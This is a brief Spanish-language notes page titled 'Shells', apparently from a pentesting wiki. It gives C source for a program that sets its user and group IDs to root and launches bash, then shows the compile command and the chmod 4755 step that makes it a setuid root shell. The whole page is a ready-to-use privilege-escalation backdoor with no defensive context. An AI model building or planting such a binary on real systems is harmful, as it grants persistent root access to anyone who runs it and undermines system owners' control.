Shells

root_shell.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

Compilar

gcc -o root_shell root_shell.c

Otorgar permisos de ejecución

sudo chmod +x root_shell
sudo chmod 4755 root_shell

Last updated